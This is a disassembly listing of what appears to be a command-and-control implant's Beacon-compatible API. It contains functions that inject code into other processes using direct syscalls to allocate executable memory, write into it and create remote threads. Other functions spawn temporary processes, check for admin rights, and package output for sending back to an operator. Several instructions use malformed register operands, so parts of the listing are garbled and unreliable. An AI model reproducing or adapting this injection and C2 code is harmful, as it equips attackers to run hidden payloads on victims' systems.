1400080d7add rax, 4
1400080dbsub r8l, r9l
1400080demov [rcx+16], r8l
1400080e2movsxd r8, r9l
1400080e5add r8, rax
1400080e8mov [rcx+8], r8
1400080ectest rdx, rdx
1400080efje 0x1400080f4
1400080f1mov [rdx], r9l
1400080f4
1400080f4loc_1400080f4:
1400080f4ret
1400080c0

1400080f5
1400080f5 // align 0x10

140008100
140008100BeaconDataInt:
140008100mov edx, [rcx+16]
140008103xor eax, eax
140008105cmp edx, 3
140008108jle 0x14000811f
14000810amov r8, [rcx+8]
14000810esub edx, 4
140008111mov eax, [r8]
140008114add r8, 4
140008118mov [rcx+16], edx
14000811bmov [rcx+8], r8
14000811f
14000811floc_14000811f:
14000811fret
140008100

140008120
140008120BeaconDataLength:
140008120mov eax, [rcx+16]
140008123ret
140008120

140008124
140008124 // align 0x10

140008130
140008130BeaconDataParse:
140008130test rcx, rcx
140008133je 0x14000814c
140008135sub r8l, 4
140008139mov [rcx], rdx
14000813cadd rdx, 4
140008140mov [rcx+16], r8l
140008144mov [rcx+20], r8l
140008148mov [rcx+8], rdx
14000814c
14000814cloc_14000814c:
14000814cret
140008130

14000814d
14000814d // align 0x10

140008150
140008150BeaconDataShort:
140008150mov edx, [rcx+16]
140008153xor eax, eax
140008155cmp edx, 1
140008158jle 0x140008170
14000815amov r8, [rcx+8]
14000815esub edx, 2
140008161mov ax, [r8]
140008165add r8, 2
140008169mov [rcx+16], edx
14000816cmov [rcx+8], r8
140008170
140008170loc_140008170:
140008170ret
140008150

140008171
140008171 // align 0x10

140008180
140008180BeaconFormatAlloc:
140008180test rcx, rcx
140008183je 0x1400081ba
140008185push rsi
140008186mov esi, edx
140008188mov edx, 1
14000818dpush rbx
14000818emov rbx, rcx
140008191mov ecx, esi
140008193sub rsp, 40
140008197mov rax, [rip+0x241d2]
14000819ecall [rax+932]
1400081a4mov [rbx+20], esi
1400081a7mov [rbx], rax
1400081aamov [rbx+8], rax
1400081aexor eax, eax
1400081b0mov [rbx+16], eax
1400081b3add rsp, 40
1400081b7pop rbx
1400081b8pop rsi
1400081b9ret
1400081ba
1400081baloc_1400081ba:
1400081baret
140008180

1400081bb
1400081bb // align 0x10

1400081c0
1400081c0BeaconFormatAppend:
1400081c0movsxd r9, r8l
1400081c3push rdi
1400081c4mov rax, rcx
1400081c7push rsi
1400081c8mov rsi, rdx
1400081cbmov rdi, [rcx+8]
1400081cfmov rcx, r9
1400081d2rep movsb [rdi], [rsi]
1400081d4pop rsi
1400081d5add [rax+8], r9
1400081d9add [rax+16], r8l
1400081ddpop rdi
1400081deret
1400081c0

1400081df
1400081df // align 0x10

1400081e0
1400081e0BeaconFormatFree:
1400081e0test rcx, rcx
1400081e3je 0x140008217
1400081e5push rbx
1400081e6mov rbx, rcx
1400081e9sub rsp, 32
1400081edmov rcx, [rcx]
1400081f0test rcx, rcx
1400081f3je 0x140008207
1400081f5mov rax, [rip+0x24174]
1400081fccall [rax+940]
140008202xor edx, edx
140008204mov [rbx], rdx
140008207
140008207loc_140008207:
140008207xor eax, eax
140008209mov [rbx+8], rax
14000820dmov [rbx+16], rax
140008211add rsp, 32
140008215pop rbx
140008216ret
140008217
140008217loc_140008217:
140008217ret
1400081e0

140008218
140008218 // align 0x10

140008220
140008220BeaconFormatInt:
140008220mov eax, [rcx+16]
140008223mov r8, rcx
140008226add eax, 3
140008229cmp eax, [rcx+20]
14000822cjge 0x14000824e
14000822esub rsp, 40
140008232mov ecx, edx
140008234call swap_endianess
140008239mov rdx, [r8+8]
14000823dmov [rdx], eax
14000823fadd [r8+16], 4
140008244add [r8+8], 4
140008249add rsp, 40
14000824dret
14000824e
14000824eloc_14000824e:
14000824eret
140008220

14000824f
14000824f // align 0x10

140008250
140008250BeaconFormatPrintf:
140008250push r12
140008252push rbp
140008253push rdi
140008254mov rdi, rdx
140008257push rsi
140008258push rbx
140008259mov rbx, rcx
14000825cxor ecx, ecx
14000825esub rsp, 64
140008262mov r12, [rip+0x24107]
140008269mov [rsp+136], r9
140008271lea r9, [rsp+128]
140008279mov [rsp+128], r8
140008281mov r8, rdx
140008284xor edx, edx
140008286mov [rsp+56], r9
14000828bmov [rsp+40], r9
140008290call [r12+1612]
140008298mov esi, eax
14000829aadd eax, [rbx+16]
14000829dcmp eax, [rbx+20]
1400082a0jg 0x1400082c8
1400082a2mov r9, [rsp+40]
1400082a7movsxd rbp, esi
1400082aamov rcx, [rbx+8]
1400082aemov r8, rdi
1400082b1mov rdx, rbp
1400082b4mov [rsp+56], r9
1400082b9call [r12+1612]
1400082c1add [rbx+16], esi
1400082c4add [rbx+8], rbp
1400082c8
1400082c8loc_1400082c8:
1400082c8add rsp, 64
1400082ccpop rbx
1400082cdpop rsi
1400082cepop rdi
1400082cfpop rbp
1400082d0pop r12
1400082d2ret
140008250

1400082d3
1400082d3 // align 0x10

1400082e0
1400082e0BeaconFormatReset:
1400082e0mov rdx, rcx
1400082e3push rdi
1400082e4xor eax, eax
1400082e6movsxd rcx, [rcx+20]
1400082eamov rdi, [rdx]
1400082edrep stosb [rdi], al
1400082efmov rax, [rdx]
1400082f2pop rdi
1400082f3mov [rdx+8], rax
1400082f7mov eax, [rdx+20]
1400082famov [rdx+16], eax
1400082fdret
1400082e0

1400082fe
1400082fe // align 0x10

140008300
140008300BeaconFormatToString:
140008300mov eax, [rcx+16]
140008303mov [rdx], eax
140008305mov rax, [rcx]
140008308ret
140008300

140008309
140008309 // align 0x10

140008310
140008310BeaconGetSpawnTo:
140008310test rdx, rdx
140008313je 0x140008358
140008315push rdi
140008316movsxd rdi, r8l
140008319push rsi
14000831apush rbx
14000831bmov rbx, rdx
14000831esub rsp, 32
140008322mov rax, [rip+0x24047]
140008329test ecx, ecx
14000832bmov rsi, [rax+264]
140008332cmove rsi, [rax+256]
14000833amov rcx, rsi
14000833dcall StringLengthW
140008342lea rcx, [rax+rax]
140008346cmp rdi, rcx
140008349jb 0x140008350
14000834bmov rdi, rbx
14000834erep movsb [rdi], [rsi]
140008350
140008350loc_140008350:
140008350add rsp, 32
140008354pop rbx
140008355pop rsi
140008356pop rdi
140008357ret
140008358
140008358loc_140008358:
140008358ret
140008310

140008359
140008359 // align 0x10

140008360
140008360BeaconInjectProcess:
140008360push rdi
140008361mov rdi, r8
140008364push rsi
140008365movsxd rsi, r9l
140008368xor r9l, r9l
14000836bpush rbx
14000836cmov rbx, rcx
14000836fadd rsp, -128
140008373mov [rsp+104], r9
140008378mov [rsp+112], r9
14000837dmov [rsp+120], r9
140008382test rcx, rcx
140008385jne 0x14000839f
140008387mov ecx, edx
140008389mov edx, 0x1fffff
14000838ecall ProcessOpen
140008393mov rbx, rax
140008396test rax, rax
140008399je 0x14000849c
14000839f
14000839floc_14000839f:
14000839fmov [rsp+120], rsi
1400083a4lea rsi, [rsp+120]
1400083a9xor r8l, r8l
1400083acmov rcx, rbx
1400083afmov [rsp+40], 64
1400083b7lea rdx, [rsp+112]
1400083bcmov r9, rsi
1400083bfmov [rsp+32], 12288
1400083c7call SysNtAllocateVirtualMemory
1400083cctest eax, eax
1400083cejs 0x14000849c
1400083d4xor r8l, r8l
1400083d7mov r9, [rsp+120]
1400083dcmov rdx, [rsp+112]
1400083e1mov rcx, rbx
1400083e4mov [rsp+32], r8
1400083e9mov r8, rdi
1400083eccall SysNtWriteVirtualMemory
1400083f1test eax, eax
1400083f3js 0x14000849c
1400083f9xor r8l, r8l
1400083fclea rdx, [rsp+104]
140008401mov r9, rsi
140008404mov rcx, rbx
140008407mov [rsp+40], 64
14000840fmovsxd rax, [rsp+208]
140008417mov [rsp+32], 12288
14000841fmov [rsp+120], rax
140008424call SysNtAllocateVirtualMemory
140008429test eax, eax
14000842bjs 0x14000849c
14000842dxor ecx, ecx
14000842fmov r9, [rsp+120]
140008434mov rdx, [rsp+104]
140008439mov [rsp+32], rcx
14000843emov r8, [rsp+200]
140008446mov rcx, rbx
140008449call SysNtWriteVirtualMemory
14000844etest eax, eax
140008450js 0x14000849c
140008452xor eax, eax
140008454xor edx, edx
140008456mov r9, rbx
140008459xor r8l, r8l
14000845cmov [rsp+80], rax
140008461xor ecx, ecx
140008463mov [rsp+72], rax
140008468mov [rsp+64], rax
14000846dmov [rsp+56], rax
140008472mov rax, [rsp+104]
140008477mov [rsp+48], edx
14000847bmov edx, 0x20000000
140008480mov [rsp+40], rax
140008485movsxd rax, [rsp+192]
14000848dadd rax, [rsp+112]
140008492mov [rsp+32], rax
140008497call SysNtCreateThreadEx
14000849c
14000849cloc_14000849c:
14000849csub rsp, -128
1400084a0pop rbx
1400084a1pop rsi
1400084a2pop rdi
1400084a3ret
140008360

1400084a4
1400084a4 // align 0x10

1400084b0
1400084b0BeaconInjectTemporaryProcess:
1400084b0push rbp
1400084b1movsxd r8, r8l
1400084b4push rdi
1400084b5mov rdi, rdx
1400084b8push rsi
1400084b9movsxd rsi, r9l
1400084bcpush rbx
1400084bdmov rbx, rcx
1400084c0sub rsp, 136
1400084c7lea rbp, [rsp+120]
1400084ccmov [rsp+120], r8
1400084d1lea rdx, [rsp+104]
1400084d6xor r8l, r8l
1400084d9mov [rsp+40], 64
1400084e1mov r9, rbp
1400084e4mov [rsp+32], 12288
1400084ecmov rcx, [rcx]
1400084efcall SysNtAllocateVirtualMemory
1400084f4test eax, eax
1400084f6jne 0x1400085bc
1400084fcxor r8l, r8l
1400084ffmov r9, [rsp+120]
140008504mov rdx, [rsp+104]
140008509mov [rsp+32], r8
14000850emov rcx, [rbx]
140008511mov r8, rdi
140008514call SysNtWriteVirtualMemory
140008519test eax, eax
14000851bjne 0x1400085bc
140008521mov [rsp+40], 64
140008529xor r8l, r8l
14000852clea rdx, [rsp+112]
140008531mov r9, rbp
140008534mov [rsp+32], 12288
14000853cmovsxd rax, [rsp+216]
140008544mov rcx, [rbx]
140008547mov [rsp+120], rax
14000854ccall SysNtAllocateVirtualMemory
140008551test eax, eax
140008553jne 0x1400085bc
140008555xor ecx, ecx
140008557mov r9, [rsp+120]
14000855cmov rdx, [rsp+112]
140008561mov [rsp+32], rcx
140008566mov r8, [rsp+208]
14000856emov rcx, [rbx]
140008571call SysNtWriteVirtualMemory
140008576test eax, eax
140008578jne 0x1400085bc
14000857axor eax, eax
14000857cxor edx, edx
14000857eadd rsi, [rsp+104]
140008583xor r8l, r8l
140008586mov [rsp+80], rax
14000858bxor ecx, ecx
14000858dmov [rsp+72], rax
140008592mov [rsp+64], rax
140008597mov [rsp+56], rax
14000859cmov rax, [rsp+112]
1400085a1mov [rsp+48], edx
1400085a5mov edx, 0x20000000
1400085aamov [rsp+40], rax
1400085afmov [rsp+32], rsi
1400085b4mov r9, [rbx]
1400085b7call SysNtCreateThreadEx
1400085bc
1400085bcloc_1400085bc:
1400085bcadd rsp, 136
1400085c3pop rbx
1400085c4pop rsi
1400085c5pop rdi
1400085c6pop rbp
1400085c7ret
1400084b0

1400085c8
1400085c8 // align 0x10

1400085d0
1400085d0BeaconIsAdmin:
1400085d0push rsi
1400085d1xor esi, esi
1400085d3push rbx
1400085d4sub rsp, 40
1400085d8call TokenCurrentHandle
1400085ddtest rax, rax
1400085e0je 0x1400085f7
1400085e2mov rbx, rax
1400085e5mov rcx, rax
1400085e8call TokenElevated
1400085edmov rcx, rbx
1400085f0mov esi, eax
1400085f2call SysNtClose
1400085f7
1400085f7loc_1400085f7:
1400085f7add rsp, 40
1400085fbmov eax, esi
1400085fdpop rbx
1400085fepop rsi
1400085ffret
1400085d0

140008600
140008600BeaconOutput:
140008600push rbp
140008601mov r9l, ecx
140008604mov ebp, ecx
140008606lea rcx, [rip+0x23144]
14000860dpush rdi
14000860emov edi, r8l
140008611push rsi
140008612mov rsi, rdx
140008615push rbx
140008616sub rsp, 72
14000861amov [rsp+40], r8l
14000861fmov r8l, 236
140008625mov [rsp+32], rdx
14000862alea rdx, [rip+0x2414f]
140008631call printf
140008636mov rcx, [rsp+104]
14000863bxor eax, eax
14000863dlea rdx, [rsp+60]
140008642mov [rsp+60], eax
140008646call GetRequestIDForCallingObjectFile
14000864btest eax, eax
14000864dje 0x14000865f
14000864fmov edx, [rsp+60]
140008653mov ecx, 94
140008658call PackageCreateWithRequestID
14000865djmp 0x140008669
14000865f
14000865floc_14000865f:
14000865fmov ecx, 94
140008664call PackageCreate
140008669
140008669loc_140008669:
140008669mov rbx, rax
14000866cmov edx, ebp
14000866emov rcx, rax
140008671call PackageAddInt32
140008676mov rcx, rbx
140008679movsxd r8, edi
14000867cmov rdx, rsi
14000867fcall PackageAddBytes
140008684add rsp, 72
140008688mov rcx, rbx
14000868bpop rbx
14000868cpop rsi
14000868dpop rdi
14000868epop rbp
14000868fjmp 0x140018b90
140008600

140008694
140008694 // align 0x10

1400086a0
1400086a0BeaconPrintf:
1400086a0push r15
1400086a2lea r15, [rip+0x242b7]
1400086a9push r14
1400086abpush r13
1400086admov r13l, ecx
1400086b0push r12
1400086b2push rbp
1400086b3push rdi
1400086b4mov rdi, rdx
1400086b7push rsi
1400086b8push rbx
1400086b9sub rsp, 88
1400086bdmov [rsp+32], rdx
1400086c2mov rdx, r15
1400086c5mov [rsp+176], r8
1400086cdmov r8l, 201
1400086d3mov [rsp+184], r9
1400086dbmov r9l, ecx
1400086delea rcx, [rip+0x23016]
1400086e5call printf
1400086eaxor edx, edx
1400086ecmov rcx, [rsp+152]
1400086f4xor eax, eax
1400086f6mov [rsp+68], edx
1400086falea rdx, [rsp+68]
1400086ffmov [rsp+72], rax
140008704call GetRequestIDForCallingObjectFile
140008709test eax, eax
14000870bje 0x14000871d
14000870dmov edx, [rsp+68]
140008711mov ecx, 94
140008716call PackageCreateWithRequestID
14000871bjmp 0x140008727
14000871d
14000871dloc_14000871d:
14000871dmov ecx, 94
140008722call PackageCreate
140008727
140008727loc_140008727:
140008727mov r12, [rip+0x23c42]
14000872emov rsi, rax
140008731mov r8, rdi
140008734xor edx, edx
140008736lea r9, [rsp+176]
14000873exor ecx, ecx
140008740mov [rsp+72], r9
140008745mov [rsp+56], r9
14000874acall [r12+1612]
140008752mov ecx, 64
140008757movsxd rbx, eax
14000875amov rdx, rbx
14000875dcall [r12+932]
140008765mov r9, [rsp+56]
14000876amov r8, rdi
14000876dmov rdx, rbx
140008770mov rbp, rax
140008773mov rcx, rax
140008776call [r12+1612]
14000877emov [rsp+32], rbp
140008783mov r9l, ebx
140008786mov r8l, 224
14000878cmov rdx, r15
14000878flea rcx, [rip+0x22f92]
140008796mov rdi, rbp
140008799call printf
14000879emov edx, r13l
1400087a1mov rcx, rsi
1400087a4call PackageAddInt32
1400087a9mov r8, rbx
1400087acmov rdx, rbp
1400087afmov rcx, rsi
1400087b2call PackageAddBytes
1400087b7mov rcx, rsi
1400087bacall PackageTransmit
1400087bfmov rcx, rbx
1400087c2xor eax, eax
1400087c4rep stosb [rdi], al
1400087c6mov rcx, rbp
1400087c9call [r12+940]
1400087d1add rsp, 88
1400087d5pop rbx
1400087d6pop rsi
1400087d7pop rdi
1400087d8pop rbp
1400087d9pop r12
1400087dbpop r13
1400087ddpop r14
1400087dfpop r15
1400087e1ret
1400086a0

1400087e2
1400087e2 // align 0x10

1400087f0
1400087f0BeaconSpawnTemporaryProcess:
1400087f0sub rsp, 88
1400087f4mov rax, [rip+0x23b75]
1400087fbmov r10l, edx
1400087fetest ecx, ecx
140008800mov rdx, [rax+264]
140008807cmove rdx, [rax+256]
14000880ftest r10l, r10l
140008812je 0x14000884b
140008814mov [rsp+64], r8
140008819xor r8l, r8l
14000881cxor ecx, ecx
14000881emov [rsp+72], r9
140008823xor r9l, r9l
140008826mov [rsp+56], r8
14000882bmov [rsp+48], r8
140008830xor r8l, r8l
140008833mov [rsp+40], 0x8000000
14000883bmov [rsp+32], 1
140008843call [rax+956]
140008849jmp 0x14000887e
14000884b
14000884bloc_14000884b:
14000884bxor ecx, ecx
14000884dmov [rsp+64], r9
140008852mov r9, rdx
140008855mov edx, 1
14000885amov [rsp+56], r8
14000885fxor r8l, r8l
140008862mov [rsp+48], rcx
140008867mov [rsp+40], rcx
14000886cor rcx, -1
140008870mov [rsp+32], 1024
140008878call [rax+1356]
14000887e
14000887eloc_14000887e:
14000887eadd rsp, 88
140008882ret
1400087f0